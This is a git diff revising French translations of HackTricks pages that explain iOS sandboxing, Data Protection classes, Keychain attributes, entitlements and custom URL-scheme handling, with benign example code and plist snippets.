Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Apprenez le piratage AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Expert en équipe rouge AWS de HackTricks)</strong></a><strong>!</strong></summary>
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
Autres façons de soutenir HackTricks :
|
||||
|
||||
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
|
||||
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts GitHub.
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
# Séparation des privilèges et bac à sable
|
||||
# Séparation des privilèges et Sandbox
|
||||
|
||||
Sur iOS, une distinction de privilèges existe entre les applications accessibles par l'utilisateur et les processus principaux du système. Les applications s'exécutent sous l'identité utilisateur **`mobile`**, tandis que les processus système cruciaux fonctionnent en tant que **`root`**. Cette séparation est renforcée par un mécanisme de bac à sable, qui impose des limitations strictes sur les actions que les applications peuvent entreprendre. Par exemple, même si les applications partagent la même identité utilisateur, elles sont interdites d'accéder ou de modifier les données des autres.
|
||||
Dans iOS, une distinction de privilège existe entre les applications accessibles par l'utilisateur et les processus centraux du système. Les applications s'exécutent sous l'identité utilisateur **`mobile`**, tandis que les processus système cruciaux fonctionnent en tant que **`root`**. Cette séparation est renforcée par un mécanisme de sandbox, qui impose des limitations strictes sur les actions que les applications peuvent entreprendre. Par exemple, même si les applications partagent la même identité utilisateur, elles sont interdites d'accéder ou de modifier les données des autres.
|
||||
|
||||
Les applications sont installées dans un répertoire spécifique (`private/var/mobile/Applications/{ID aléatoire}`) et ont un accès en lecture restreint à certaines zones et fonctionnalités système, telles que les SMS et les appels téléphoniques. L'accès aux zones protégées déclenche une demande de permission à l'utilisateur.
|
||||
Les applications sont installées dans un répertoire spécifique (`private/var/mobile/Applications/{random ID}`) et ont un accès en lecture restreint à certaines zones et fonctionnalités du système, telles que les SMS et les appels téléphoniques. L'accès aux zones protégées déclenche une demande de permission de l'utilisateur.
|
||||
|
||||
# Protection des données
|
||||
|
||||
iOS propose aux développeurs les **API de protection des données**, construites sur le processeur Secure Enclave Processor (SEP) - un coprocesseur dédié aux opérations cryptographiques et à la gestion des clés. Le SEP garantit l'intégrité de la protection des données via une clé spécifique au périphérique, l'UID du périphérique, intégrée en son sein.
|
||||
iOS offre aux développeurs les **API de Protection des Données**, construites sur le Secure Enclave Processor (SEP) — un coprocesseur dédié aux opérations cryptographiques et à la gestion des clés. Le SEP garantit l'intégrité de la protection des données via une clé unique spécifique à l'appareil, l'UID de l'appareil, intégrée en son sein.
|
||||
|
||||
Lors de la création d'un fichier, une clé de chiffrement AES unique de 256 bits est générée, chiffrant le contenu du fichier. Cette clé de chiffrement, accompagnée d'un ID de classe, est ensuite chiffrée à l'aide d'une clé de classe et stockée dans les métadonnées du fichier. Le déchiffrement d'un fichier implique l'utilisation de la clé du système pour accéder aux métadonnées, récupérer la clé de classe avec l'ID de classe, puis déchiffrer la clé de chiffrement unique du fichier.
|
||||
Lors de la création d'un fichier, une clé de chiffrement AES unique de 256 bits est générée, chiffrant le contenu du fichier. Cette clé de chiffrement, accompagnée d'un ID de classe, est ensuite chiffrée à l'aide d'une clé de classe et stockée dans les métadonnées du fichier. Le déchiffrement d'un fichier implique d'utiliser la clé du système pour accéder aux métadonnées, de récupérer la clé de classe avec l'ID de classe, puis de déchiffrer la clé de chiffrement unique du fichier.
|
||||
|
||||
iOS définit **quatre classes de protection** pour la sécurité des données, qui déterminent quand et comment les données peuvent être accédées :
|
||||
iOS définit **quatre classes de protection** pour la sécurité des données, qui déterminent quand et comment les données peuvent être accessibles :
|
||||
|
||||
- **Protection complète (NSFileProtectionComplete)** : Les données sont inaccessibles jusqu'à ce que le périphérique soit déverrouillé à l'aide du code d'accès de l'utilisateur.
|
||||
- **Protégé sauf ouvert (NSFileProtectionCompleteUnlessOpen)** : Permet l'accès au fichier même après le verrouillage du périphérique, à condition que le fichier ait été ouvert lorsque le périphérique était déverrouillé.
|
||||
- **Protégé jusqu'à la première authentification de l'utilisateur (NSFileProtectionCompleteUntilFirstUserAuthentication)** : Les données sont accessibles après le premier déverrouillage de l'utilisateur après le démarrage, restant accessibles même si le périphérique est à nouveau verrouillé.
|
||||
- **Aucune protection (NSFileProtectionNone)** : Les données ne sont protégées que par l'UID du périphérique, facilitant l'effacement rapide des données à distance.
|
||||
- **Protection Complète (NSFileProtectionComplete)** : Les données sont inaccessibles jusqu'à ce que l'appareil soit déverrouillé à l'aide du code d'accès de l'utilisateur.
|
||||
- **Protégé Sauf Ouvert (NSFileProtectionCompleteUnlessOpen)** : Permet l'accès au fichier même après que l'appareil soit verrouillé, à condition que le fichier ait été ouvert lorsque l'appareil a été déverrouillé.
|
||||
- **Protégé Jusqu'à la Première Authentification Utilisateur (NSFileProtectionCompleteUntilFirstUserAuthentication)** : Les données sont accessibles après le premier déverrouillage de l'utilisateur après le démarrage, restant accessibles même si l'appareil est à nouveau verrouillé.
|
||||
- **Aucune Protection (NSFileProtectionNone)** : Les données ne sont protégées que par l'UID de l'appareil, facilitant l'effacement rapide des données à distance.
|
||||
|
||||
Le chiffrement de toutes les classes, sauf `NSFileProtectionNone`, implique une clé dérivée à la fois de l'UID du périphérique et du code d'accès de l'utilisateur, garantissant que le déchiffrement n'est possible que sur le périphérique avec le bon code d'accès. À partir d'iOS 7, la classe de protection par défaut est "Protégé jusqu'à la première authentification de l'utilisateur".
|
||||
Le chiffrement de toutes les classes, sauf pour `NSFileProtectionNone`, implique une clé dérivée à la fois de l'UID de l'appareil et du code d'accès de l'utilisateur, garantissant que le déchiffrement n'est possible que sur l'appareil avec le bon code d'accès. À partir d'iOS 7, la classe de protection par défaut est "Protégé Jusqu'à la Première Authentification Utilisateur".
|
||||
|
||||
Les développeurs peuvent utiliser [**FileDP**](https://github.com/abjurato/FileDp-Source), un outil pour inspecter la classe de protection des données des fichiers sur un iPhone.
|
||||
```python
|
||||
|
@ -42,46 +43,46 @@ git clone https://github.com/abjurato/FileDp-Source
|
|||
cd FileDp-Source
|
||||
python filedp.py /path/to/check
|
||||
```
|
||||
## **Le trousseau**
|
||||
## **Le Trousseau**
|
||||
|
||||
En iOS, un **trousseau** sert de **conteneur sécurisé** pour stocker des **informations sensibles**, accessible uniquement par l'application qui l'a stocké ou par des utilisateurs explicitement autorisés. Cette encryption est renforcée par un **mot de passe unique généré par iOS**, lui-même encrypté avec **AES**. Ce processus d'encryption utilise une fonction **PBKDF2**, combinant le code d'accès de l'utilisateur avec un sel dérivé de l'**UID** du dispositif, un composant auquel seul le **chipset de l'enclave sécurisée** peut accéder. Par conséquent, même si le code d'accès de l'utilisateur est connu, le contenu du trousseau reste inaccessible sur tout dispositif autre que celui où il a été initialement encrypté.
|
||||
Dans iOS, un **Trousseau** sert de **conteneur chiffré sécurisé** pour stocker des **informations sensibles**, accessibles uniquement par l'application qui les a stockées ou celles explicitement autorisées. Ce chiffrement est renforcé par un **mot de passe unique généré par iOS**, qui lui-même est chiffré avec **AES**. Ce processus de chiffrement utilise une **fonction PBKDF2**, combinant le code d'accès de l'utilisateur avec un sel dérivé de l'**UID** de l'appareil, un composant auquel seul le **chipset de l'enclave sécurisée** peut accéder. Par conséquent, même si le code d'accès de l'utilisateur est connu, le contenu du Trousseau reste inaccessible sur tout appareil autre que celui où il a été initialement chiffré.
|
||||
|
||||
La **gestion et l'accès** aux données du trousseau sont gérés par le démon **`securityd`**, en fonction des autorisations spécifiques de l'application telles que `Keychain-access-groups` et `application-identifier`.
|
||||
**La gestion et l'accès** aux données du Trousseau sont gérés par le **démon `securityd`**, basé sur des droits d'application spécifiques comme `Keychain-access-groups` et `application-identifier`.
|
||||
|
||||
### **Opérations de l'API du trousseau**
|
||||
### **Opérations de l'API Trousseau**
|
||||
|
||||
L'API du trousseau, détaillée dans la [documentation des services de trousseau d'Apple](https://developer.apple.com/library/content/documentation/Security/Conceptual/keychainServConcepts/02concepts/concepts.html), fournit des fonctions essentielles pour la gestion du stockage sécurisé :
|
||||
L'API Trousseau, détaillée dans la [documentation des services Trousseau d'Apple](https://developer.apple.com/library/content/documentation/Security/Conceptual/keychainServConcepts/02concepts/concepts.html), fournit des fonctions essentielles pour la gestion du stockage sécurisé :
|
||||
|
||||
- **`SecItemAdd`** : Ajoute un nouvel élément au trousseau.
|
||||
- **`SecItemUpdate`** : Met à jour un élément existant dans le trousseau.
|
||||
- **`SecItemCopyMatching`** : Récupère un élément du trousseau.
|
||||
- **`SecItemDelete`** : Supprime un élément du trousseau.
|
||||
- **`SecItemAdd`** : Ajoute un nouvel élément au Trousseau.
|
||||
- **`SecItemUpdate`** : Met à jour un élément existant dans le Trousseau.
|
||||
- **`SecItemCopyMatching`** : Récupère un élément du Trousseau.
|
||||
- **`SecItemDelete`** : Supprime un élément du Trousseau.
|
||||
|
||||
Le forçage du mot de passe du trousseau implique soit d'attaquer directement la clé encryptée, soit de tenter de deviner le code d'accès sur le dispositif lui-même, ce qui est considérablement entravé par l'application de l'enclave sécurisée d'un délai entre les tentatives infructueuses.
|
||||
La force brute du mot de passe du Trousseau implique soit d'attaquer directement la clé chiffrée, soit d'essayer de deviner le code d'accès sur l'appareil lui-même, ce qui est considérablement entravé par l'application d'un délai entre les tentatives échouées par l'enclave sécurisée.
|
||||
|
||||
### **Configuration de la protection des données des éléments du trousseau**
|
||||
### **Configuration de la Protection des Données des Éléments du Trousseau**
|
||||
|
||||
Les niveaux de protection des données des éléments du trousseau sont définis en utilisant l'attribut `kSecAttrAccessible` lors de la création ou de la mise à jour de l'élément. Ces niveaux, [comme spécifié par Apple](https://developer.apple.com/documentation/security/keychain_services/keychain_items/item_attribute_keys_and_values#1679100), déterminent quand et comment les éléments du trousseau sont accessibles :
|
||||
Les niveaux de protection des données pour les éléments du Trousseau sont définis à l'aide de l'attribut `kSecAttrAccessible` lors de la création ou de la mise à jour de l'élément. Ces niveaux, [comme spécifié par Apple](https://developer.apple.com/documentation/security/keychain_services/keychain_items/item_attribute_keys_and_values#1679100), déterminent quand et comment les éléments du Trousseau sont accessibles :
|
||||
|
||||
- **`kSecAttrAccessibleAlways`** : Accessible à tout moment, indépendamment de l'état de verrouillage du dispositif.
|
||||
- **`kSecAttrAccessibleAlways`** : Accessible à tout moment, indépendamment de l'état de verrouillage de l'appareil.
|
||||
- **`kSecAttrAccessibleAlwaysThisDeviceOnly`** : Toujours accessible, mais non inclus dans les sauvegardes.
|
||||
- **`kSecAttrAccessibleAfterFirstUnlock`** : Accessible après le premier déverrouillage post-redémarrage.
|
||||
- **`kSecAttrAccessibleAfterFirstUnlockThisDeviceOnly`** : Identique au précédent, mais non transférable vers de nouveaux dispositifs.
|
||||
- **`kSecAttrAccessibleWhenUnlocked`** : Accessible uniquement lorsque le dispositif est déverrouillé.
|
||||
- **`kSecAttrAccessibleAfterFirstUnlock`** : Accessible après le premier déverrouillage après un redémarrage.
|
||||
- **`kSecAttrAccessibleAfterFirstUnlockThisDeviceOnly`** : Même que ci-dessus, mais non transférable à de nouveaux appareils.
|
||||
- **`kSecAttrAccessibleWhenUnlocked`** : Accessible uniquement lorsque l'appareil est déverrouillé.
|
||||
- **`kSecAttrAccessibleWhenUnlockedThisDeviceOnly`** : Accessible lorsqu'il est déverrouillé, non inclus dans les sauvegardes.
|
||||
- **`kSecAttrAccessibleWhenPasscodeSetThisDeviceOnly`** : Nécessite le code d'accès du dispositif, non inclus dans les sauvegardes.
|
||||
- **`kSecAttrAccessibleWhenPasscodeSetThisDeviceOnly`** : Nécessite le code d'accès de l'appareil, non inclus dans les sauvegardes.
|
||||
|
||||
Les **`AccessControlFlags`** affinent davantage les méthodes d'accès, permettant l'authentification biométrique ou l'utilisation du code d'accès.
|
||||
**`AccessControlFlags`** affinent encore les méthodes d'accès, permettant l'authentification biométrique ou l'utilisation du code d'accès.
|
||||
|
||||
### **Avertissement concernant les dispositifs jailbreakés**
|
||||
### **Avertissement sur les Appareils Jailbreakés**
|
||||
|
||||
{% hint style="warning" %}
|
||||
Sur les **dispositifs jailbreakés**, les protections du trousseau sont compromises, représentant un risque de sécurité significatif.
|
||||
Sur les **appareils jailbreakés**, les protections du Trousseau sont compromises, posant un risque de sécurité significatif.
|
||||
{% endhint %}
|
||||
|
||||
### **Persistance des données du trousseau**
|
||||
### **Persistance des Données du Trousseau**
|
||||
|
||||
Contrairement aux données spécifiques à une application supprimées lors de la désinstallation de l'application, les **données du trousseau persistent** sur le dispositif. Cette caractéristique pourrait permettre aux nouveaux propriétaires d'un dispositif d'occasion d'accéder aux données d'application de l'ancien propriétaire simplement en réinstallant les applications. Il est recommandé aux développeurs de supprimer proactivement les données du trousseau lors de l'installation de l'application ou lors de la déconnexion pour atténuer ce risque. Voici un exemple de code Swift démontrant comment effacer les données du trousseau lors du premier lancement de l'application :
|
||||
Contrairement aux données spécifiques à l'application supprimées lors de la désinstallation de l'application, **les données du Trousseau persistent** sur l'appareil. Cette caractéristique pourrait permettre aux nouveaux propriétaires d'un appareil d'occasion d'accéder aux données d'application de l'ancien propriétaire simplement en réinstallant les applications. Il est conseillé aux développeurs de nettoyer proactivement les données du Trousseau lors de l'installation de l'application ou lors de la déconnexion pour atténuer ce risque. Voici un exemple de code Swift démontrant comment effacer les données du Trousseau lors du premier lancement de l'application :
|
||||
```swift
|
||||
let userDefaults = UserDefaults.standard
|
||||
|
||||
|
@ -93,25 +94,25 @@ userDefaults.set(true, forKey: "hasRunBefore")
|
|||
userDefaults.synchronize() // Forces the app to update UserDefaults
|
||||
}
|
||||
```
|
||||
# **Capacités de l'application**
|
||||
# **Capacités de l'Application**
|
||||
|
||||
Dans le domaine du développement d'applications, le **sandboxing** joue un rôle crucial dans l'amélioration de la sécurité. Ce processus garantit que chaque application fonctionne dans son propre répertoire principal unique, l'empêchant ainsi d'accéder aux fichiers système ou aux données appartenant à d'autres applications. L'application de ces restrictions est effectuée à travers des politiques de sandbox, qui font partie du **Cadre de contrôle d'accès obligatoire Trusted BSD (MAC)**.
|
||||
Dans le domaine du développement d'applications, **sandboxing** joue un rôle crucial dans l'amélioration de la sécurité. Ce processus garantit que chaque application fonctionne dans son propre répertoire personnel unique, empêchant ainsi l'accès aux fichiers système ou aux données appartenant à d'autres applications. L'application de ces restrictions est effectuée par le biais de politiques de sandbox, qui font partie du **Trusted BSD (MAC) Mandatory Access Control Framework**.
|
||||
|
||||
Les développeurs ont la possibilité de configurer certaines **capacités ou autorisations** pour leurs applications, telles que la **Protection des données** ou le **Partage du trousseau**. Ces autorisations sont appliquées immédiatement après l'installation de l'application. Cependant, pour accéder à certaines ressources protégées, l'application doit obtenir le consentement explicite de l'utilisateur lors de la première tentative. Cela est réalisé grâce à l'utilisation de _chaînes de but_ ou _chaînes de description d'utilisation_, qui sont présentées aux utilisateurs dans une alerte de demande d'autorisation.
|
||||
Les développeurs ont la possibilité de configurer certaines **capacités ou autorisations** pour leurs applications, telles que **Data Protection** ou **Keychain Sharing**. Ces autorisations sont appliquées immédiatement après l'installation de l'application. Néanmoins, pour accéder à certaines ressources protégées, l'application doit obtenir le consentement explicite de l'utilisateur au moment de la première tentative. Cela se fait par l'utilisation de _purpose strings_ ou _usage description strings_, qui sont présentées aux utilisateurs dans une alerte de demande d'autorisation.
|
||||
|
||||
Pour ceux qui ont accès au code source, la vérification des autorisations incluses dans le fichier `Info.plist` peut être effectuée en :
|
||||
Pour ceux ayant accès au code source, la vérification des autorisations incluses dans le fichier `Info.plist` peut être effectuée en :
|
||||
|
||||
1. Ouvrant le projet dans Xcode.
|
||||
2. Localisant et ouvrant le fichier `Info.plist`.
|
||||
3. Recherchant les clés préfixées par `"Privacy -"`, avec l'option de visualiser les clés/valeurs bruts pour plus de clarté.
|
||||
3. Cherchant des clés préfixées par `"Privacy -"`, avec l'option de visualiser les clés/valeurs brutes pour plus de clarté.
|
||||
|
||||
Lors du traitement d'un fichier IPA, les étapes suivantes peuvent être suivies :
|
||||
Lorsqu'il s'agit d'un fichier IPA, les étapes suivantes peuvent être suivies :
|
||||
|
||||
1. Dézipper le fichier IPA.
|
||||
2. Localiser le fichier `Info.plist` dans `Payload/<nomdelappli>.app/`.
|
||||
1. Décompresser l'IPA.
|
||||
2. Localiser le fichier `Info.plist` dans `Payload/<appname>.app/`.
|
||||
3. Convertir le fichier au format XML si nécessaire, pour une inspection plus facile.
|
||||
|
||||
Par exemple, les chaînes de but dans le fichier `Info.plist` pourraient ressembler à ceci :
|
||||
Par exemple, les purpose strings dans le fichier `Info.plist` pourraient ressembler à ceci :
|
||||
```xml
|
||||
<plist version="1.0">
|
||||
<dict>
|
||||
|
@ -119,18 +120,18 @@ Par exemple, les chaînes de but dans le fichier `Info.plist` pourraient ressemb
|
|||
<string>Your location is used to provide turn-by-turn directions to your destination.</string>
|
||||
```
|
||||
## Capacités de l'appareil
|
||||
Le fichier `Info.plist` d'une application spécifie les **capacités de l'appareil** qui aident l'App Store à filtrer les applications en fonction de la compatibilité de l'appareil. Celles-ci sont définies sous la clé **`UIRequiredDeviceCapabilities`**. Par exemple :
|
||||
Le fichier `Info.plist` d'une application spécifie les **capacités de l'appareil** qui aident l'App Store à filtrer les applications pour la compatibilité des appareils. Celles-ci sont définies sous la clé **`UIRequiredDeviceCapabilities`**. Par exemple :
|
||||
```xml
|
||||
<key>UIRequiredDeviceCapabilities</key>
|
||||
<array>
|
||||
<string>armv7</string>
|
||||
</array>
|
||||
```
|
||||
Cet exemple indique que l'application est compatible avec l'ensemble d'instructions armv7. Les développeurs peuvent également spécifier des capacités comme le NFC pour s'assurer que leur application n'est disponible que sur des appareils prenant en charge le NFC.
|
||||
Cet exemple indique que l'application est compatible avec l'ensemble d'instructions armv7. Les développeurs peuvent également spécifier des capacités comme nfc pour s'assurer que leur application n'est disponible que sur des appareils prenant en charge NFC.
|
||||
|
||||
## Autorisations
|
||||
## Droits
|
||||
|
||||
Les **Autorisations** sont un autre aspect critique du développement d'applications iOS, servant de paires clé-valeur qui accordent aux applications la permission d'effectuer certaines opérations au-delà des vérifications d'exécution. Par exemple, activer la **Protection des données** dans une application implique d'ajouter une autorisation spécifique dans le projet Xcode, qui est ensuite reflétée dans le fichier d'autorisations de l'application ou le fichier de provisionnement mobile intégré pour les IPAs.
|
||||
Les **droits** sont un autre aspect critique du développement d'applications iOS, servant de paires clé-valeur qui accordent aux applications la permission d'effectuer certaines opérations au-delà des vérifications d'exécution. Par exemple, activer la **protection des données** dans une application implique d'ajouter un droit spécifique dans le projet Xcode, qui est ensuite reflété dans le fichier de droits de l'application ou le fichier de provisionnement mobile intégré pour les IPA.
|
||||
|
||||
|
||||
# Références
|
||||
|
@ -141,16 +142,17 @@ Les **Autorisations** sont un autre aspect critique du développement d'applicat
|
|||
|
||||
|
||||
|
||||
{% hint style="success" %}
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Apprenez le piratage AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
Autres façons de soutenir HackTricks:
|
||||
|
||||
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF** Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)!
|
||||
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez** nous sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,28 +1,29 @@
|
|||
{% hint style="success" %}
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Apprenez le piratage AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Expert en équipe rouge AWS de HackTricks)</strong></a><strong>!</strong></summary>
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
Autres façons de soutenir HackTricks :
|
||||
|
||||
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
|
||||
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts GitHub.
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
Il s'agit d'un résumé des informations connexes provenant de [https://mas.owasp.org/MASTG/tests/ios/MASVS-PLATFORM/MASTG-TEST-0075/](https://mas.owasp.org/MASTG/tests/ios/MASVS-PLATFORM/MASTG-TEST-0075/)
|
||||
Ceci est un résumé des informations connexes de [https://mas.owasp.org/MASTG/tests/ios/MASVS-PLATFORM/MASTG-TEST-0075/](https://mas.owasp.org/MASTG/tests/ios/MASVS-PLATFORM/MASTG-TEST-0075/)
|
||||
|
||||
## Informations de base
|
||||
|
||||
Les schémas d'URL personnalisés permettent aux applications de communiquer en utilisant un protocole personnalisé, comme détaillé dans la [Documentation du développeur Apple](https://developer.apple.com/library/content/documentation/iPhone/Conceptual/iPhoneOSProgrammingGuide/Inter-AppCommunication/Inter-AppCommunication.html#//apple_ref/doc/uid/TP40007072-CH6-SW1). Ces schémas doivent être déclarés par l'application, qui gère ensuite les URL entrantes suivant ces schémas. Il est crucial de **valider tous les paramètres d'URL** et de **rejeter tout URL malformée** pour prévenir les attaques via ce vecteur.
|
||||
Les schémas d'URL personnalisés permettent aux applications de communiquer en utilisant un protocole personnalisé, comme détaillé dans la [documentation des développeurs Apple](https://developer.apple.com/library/content/documentation/iPhone/Conceptual/iPhoneOSProgrammingGuide/Inter-AppCommunication/Inter-AppCommunication.html#//apple_ref/doc/uid/TP40007072-CH6-SW1). Ces schémas doivent être déclarés par l'application, qui gère ensuite les URL entrantes suivant ces schémas. Il est crucial de **valider tous les paramètres d'URL** et **d'écarter toute URL malformée** pour prévenir les attaques via ce vecteur.
|
||||
|
||||
Un exemple est donné où l'URI `myapp://hostname?data=123876123` invoque une action spécifique de l'application. Une vulnérabilité notée était dans l'application mobile Skype, qui permettait des actions d'appel non autorisées via le protocole `skype://`. Les schémas enregistrés peuvent être trouvés dans le fichier `Info.plist` de l'application sous `CFBundleURLTypes`. Les applications malveillantes peuvent exploiter cela en réenregistrant des URIs pour intercepter des informations sensibles.
|
||||
Un exemple est donné où l'URI `myapp://hostname?data=123876123` invoque une action spécifique de l'application. Une vulnérabilité notée se trouvait dans l'application Skype Mobile, qui permettait des actions d'appel non autorisées via le protocole `skype://`. Les schémas enregistrés peuvent être trouvés dans le `Info.plist` de l'application sous `CFBundleURLTypes`. Les applications malveillantes peuvent exploiter cela en réenregistrant des URIs pour intercepter des informations sensibles.
|
||||
|
||||
### Enregistrement des schémas de requête d'application
|
||||
|
||||
À partir d'iOS 9.0, pour vérifier si une application est disponible, `canOpenURL:` nécessite de déclarer des schémas d'URL dans le fichier `Info.plist` sous `LSApplicationQueriesSchemes`. Cela limite les schémas qu'une application peut interroger à 50, renforçant la confidentialité en empêchant l'énumération des applications.
|
||||
Depuis iOS 9.0, pour vérifier si une application est disponible, `canOpenURL:` nécessite de déclarer les schémas d'URL dans le `Info.plist` sous `LSApplicationQueriesSchemes`. Cela limite les schémas qu'une application peut interroger à 50, améliorant la confidentialité en empêchant l'énumération des applications.
|
||||
```xml
|
||||
<key>LSApplicationQueriesSchemes</key>
|
||||
<array>
|
||||
|
@ -30,9 +31,9 @@ Un exemple est donné où l'URI `myapp://hostname?data=123876123` invoque une ac
|
|||
<string>url_scheme2</string>
|
||||
</array>
|
||||
```
|
||||
### Testing de la Gestion et de la Validation des URL
|
||||
### Testing URL Handling and Validation
|
||||
|
||||
Les développeurs devraient inspecter des méthodes spécifiques dans le code source pour comprendre la construction et la validation du chemin des URL, telles que `application:didFinishLaunchingWithOptions:` et `application:openURL:options:`. Par exemple, Telegram utilise diverses méthodes pour ouvrir des URL :
|
||||
Les développeurs devraient inspecter des méthodes spécifiques dans le code source pour comprendre la construction et la validation des chemins d'URL, telles que `application:didFinishLaunchingWithOptions:` et `application:openURL:options:`. Par exemple, Telegram utilise diverses méthodes pour ouvrir des URL :
|
||||
```swift
|
||||
func application(_ application: UIApplication, open url: URL, sourceApplication: String?) -> Bool {
|
||||
self.openUrl(url: url)
|
||||
|
@ -56,17 +57,17 @@ self.openUrl(url: url)
|
|||
return true
|
||||
}
|
||||
```
|
||||
### Tester les demandes d'URL vers d'autres applications
|
||||
### Testing URL Requests to Other Apps
|
||||
|
||||
Des méthodes telles que `openURL:options:completionHandler:` sont cruciales pour ouvrir des URL afin d'interagir avec d'autres applications. Identifier l'utilisation de telles méthodes dans le code source de l'application est essentiel pour comprendre les communications externes.
|
||||
Des méthodes comme `openURL:options:completionHandler:` sont cruciales pour ouvrir des URL afin d'interagir avec d'autres applications. Identifier l'utilisation de telles méthodes dans le code source de l'application est essentiel pour comprendre les communications externes.
|
||||
|
||||
### Tester les méthodes obsolètes
|
||||
### Testing for Deprecated Methods
|
||||
|
||||
La gestion des méthodes obsolètes d'ouverture d'URL, telles que `application:handleOpenURL:` et `openURL:`, doit être identifiée et examinée pour ses implications en matière de sécurité.
|
||||
